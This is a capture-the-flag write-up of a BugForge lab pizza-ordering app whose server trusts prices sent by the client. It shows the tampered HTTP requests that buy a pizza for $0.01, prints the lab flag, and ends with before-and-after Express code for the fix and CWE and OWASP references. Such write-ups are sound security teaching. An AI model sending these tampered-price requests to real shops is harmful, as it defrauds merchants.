Cheesy Does It: Client-Side Price Tampering
Overview
- Platform: BugForge
- Vulnerability: Client-Side Price Tampering — Server Trusts Client-Sent Prices
- Key Technique: Modifying the
amount,unit_price, andtotal_pricevalues in payment and order API requests to bypass pricing controls - Result: Purchased a pizza for $0.01 by sending tampered prices to
/api/payment/processand/api/orders, flag returned in order detail response
Objective
Find and exploit vulnerabilities in a pizza ordering application to capture the flag.
Initial Access
# Target Application
URL: https://lab-1775506945267-ezzpbx.labs-app.bugforge.io
# Auth details
Registered user via POST /api/register
Auth mechanism: JWT HS256 (Authorization: Bearer header)
JWT payload: {id, username, iat}
Key Findings
- Client-Side Price Tampering — Server Accepts Arbitrary Prices (CWE-602: Client-Side Enforcement of Server-Side Security) — The payment and order endpoints (
/api/payment/processand/api/orders) accept client-sent price values (amount,unit_price,total_price) without server-side validation against menu data. The server never recalculates prices from the product catalog, allowing an attacker to set any price including near-zero values.
Attack Chain Visualization
┌──────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Register user │ │ Map API surface │ │ Identify client- │
│ via /api/ │────>│ (auth, menu, cart, │────>│ side price calc │
│ register │ │ payment, orders) │ │ in checkout flow │
└──────────────────┘ └──────────────────────┘ └─────────┬────────────┘
│
Prices sent by client,
not computed by server
│
v
┌────────────────────────┐
│ Validate card │
│ POST /api/payment/ │
│ validate (normal) │
└───────────┬────────────┘
│
v
┌────────────────────────┐
│ Process payment │
│ POST /api/payment/ │
│ process │
│ {"amount": 0.01} │
└───────────┬────────────┘
│
v
┌────────────────────────┐
│ Create order │
│ POST /api/orders │
│ unit_price: 0.01 │
│ total_price: 0.01 │
└───────────┬────────────┘
│
v
┌────────────────────────┐
│ GET /api/orders/:id │
│ Flag returned in │
│ order detail JSON │
└────────────────────────┘
Application Architecture
| Component | Path | Description |
|---|---|---|
| Frontend | React + MUI SPA | Pizza ordering interface with menu, cart, checkout |
| Backend | Express/Node.js | REST API with JWT authentication |
| Auth | JWT HS256 | Token with {id, username, iat}, stored in localStorage |
| Menu API | /api/menu/* | Pizzas, bases, sauces, toppings with price modifiers |
| Payment API | /api/payment/* | Card validation and payment processing |
| Orders API | /api/orders | Order creation and history |
| Admin API | /api/admin/* | Stats, users, orders (frontend role check only) |
Exploitation Path
Step 1: Reconnaissance — Map the API Surface and Price Flow
Registered an account and captured traffic to enumerate all endpoints. The application is a pizza ordering site with a build-your-own pizza flow: select base, sauce, toppings, size, then checkout.
Key endpoints discovered:
POST /api/register/POST /api/login— Auth (returns JWT + user object)GET /api/verify-token— Token validationPUT /api/profile— Profile update (full_name, email, phone, address)GET /api/menu/pizzas,/bases,/sauces,/toppings— Menu data withprice_modifiervaluesPOST /api/payment/validate— Card validation (card_number, exp_month, exp_year, cvv)POST /api/payment/process— Payment processing (card_number, amount)POST /api/orders— Order creation (items with unit_price, total_price)GET /api/orders/:id— Order detail (sequential IDs)GET /api/admin/stats,/users,/orders— Admin panel
The critical observation: price calculation happens entirely on the client. The frontend computes the final price from base price ($8.99) + modifiers + size multiplier (Small: 0.8×, Medium: 1.0×, Large: 1.3×, X-Large: 1.6×), then sends the computed values directly to the payment and order APIs. The server never references menu prices.
Step 2: IDOR Test (Dead End)
Tested whether orders are user-scoped by creating an order as user2 and attempting to access it as user1 via GET /api/orders/2. Returned 404 — orders are properly scoped to the authenticated user via JWT. No IDOR.
Step 3: Exploitation — Price Tampering
With the client-side pricing confirmed, the attack was straightforward: send legitimate values for card validation, then tamper the price fields in the payment and order requests.
Step 3a: Validate card (normal)
POST /api/payment/validate HTTP/1.1
Host: lab-1775506945267-ezzpbx.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json
{"card_number":"4242424242424242","exp_month":"12","exp_year":"2030","cvv":"123"}
Response: 200 OK — card accepted.
Step 3b: Process payment with tampered amount
POST /api/payment/process HTTP/1.1
Authorization: Bearer <jwt>
Content-Type: application/json
{"card_number":"4242424242424242","amount":0.01}
Response: 200 OK — payment processed at $0.01.
Step 3c: Create order with tampered prices
POST /api/orders HTTP/1.1
Authorization: Bearer <jwt>
Content-Type: application/json
{
"items": [{
"pizza_id": 1,
"base_id": 1,
"sauce_id": 1,
"toppings": [1],
"size": "Large",
"quantity": 1,
"unit_price": 0.01,
"total_price": 0.01
}],
"total_price": 0.01,
"payment_method": "card"
}
Response: 201 Created — order stored at $0.01.
Step 3d: Retrieve order to get flag
GET /api/orders/3 HTTP/1.1
Authorization: Bearer <jwt>
Response: 200 OK — order detail with flag as extra JSON key.
Flag / Objective Achieved
bug{Jp1kFiddq0lAg07B52u2eIRe79j8AKyG}
Returned as an extra flag key in the order detail JSON response when the order was placed with tampered prices.
Key Learnings
- Client-sent prices are a classic, critical vulnerability — Any time the client sends price/amount values to the server (rather than the server calculating from a product catalog), the entire pricing model is broken. This is one of the most common e-commerce vulnerabilities and one of the easiest to exploit.
- Look for the calculation boundary — The key question is always: where does price calculation happen? If the frontend computes prices and the backend just stores them, the vulnerability exists. Menu endpoints returning
price_modifiervalues were a strong signal that calculation was client-side. - Payment and order are separate trust boundaries — This application required tampering both the payment amount AND the order prices. If only one was tampered, the other might have caught the discrepancy. In this case, neither validated, but in better implementations, the server should compare payment amount against its own calculated total.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| IDOR on /api/orders/:id | 404 for other users’ orders | Orders scoped to JWT identity |
Tools Used
- Caido — HTTP interception, request replay, and price tampering
- Browser DevTools — Traffic capture, client-side price calculation analysis
Remediation
1. Client-Side Price Tampering — No Server-Side Price Validation (CVSS: 9.1 - Critical)
Issue: The /api/payment/process and /api/orders endpoints accept client-sent price values (amount, unit_price, total_price) without validating them against server-side menu data. The server stores and processes whatever price the client provides.
CWE Reference: CWE-602 - Client-Side Enforcement of Server-Side Security
// BEFORE (Vulnerable)
app.post('/api/payment/process', authenticate, async (req, res) => {
const { card_number, amount } = req.body;
// Server trusts client-sent amount — no validation
await processPayment(card_number, amount);
res.json({ success: true });
});
app.post('/api/orders', authenticate, async (req, res) => {
const { items, total_price, payment_method } = req.body;
// Server stores client-sent prices — no recalculation
const order = await createOrder(req.user.id, items, total_price);
res.status(201).json(order);
});
// AFTER (Secure)
app.post('/api/orders', authenticate, async (req, res) => {
const { items, payment_method } = req.body;
// Server recalculates all prices from menu data
let calculatedTotal = 0;
for (const item of items) {
const pizza = await getProduct(item.pizza_id);
const base = await getBase(item.base_id);
const sauce = await getSauce(item.sauce_id);
const toppings = await getToppings(item.toppings);
const sizeMultiplier = SIZE_MULTIPLIERS[item.size];
const unitPrice = (pizza.base_price + base.price_modifier
+ sauce.price_modifier + toppings.reduce((s, t) => s + t.price, 0))
* sizeMultiplier;
calculatedTotal += unitPrice * item.quantity;
}
// Process payment with server-calculated total
await processPayment(req.user.card, calculatedTotal);
const order = await createOrder(req.user.id, items, calculatedTotal);
res.status(201).json(order);
});
Key principle: The client should send product selections (IDs, sizes, quantities) and the server should calculate all prices. Client-sent price fields should be ignored entirely or used only for display consistency checks (rejecting orders where client and server totals diverge by more than a rounding threshold).
OWASP Top 10 Coverage
- A04:2021 - Insecure Design — The pricing architecture delegates price calculation to the client and trusts the result. This is a fundamental design flaw, not an implementation bug.
- A08:2021 - Software and Data Integrity Failures — The server fails to verify the integrity of price data received from the client, accepting any value without cross-referencing authoritative pricing data.
References
- CWE-602: Client-Side Enforcement of Server-Side Security
- OWASP Testing Guide: Testing for Client-Side (OTG-CLIENT)
- OWASP Price Manipulation / Business Logic Testing
- PortSwigger: Business Logic Vulnerabilities
Tags: #price-tampering #client-side-trust #api-security #e-commerce #bugforge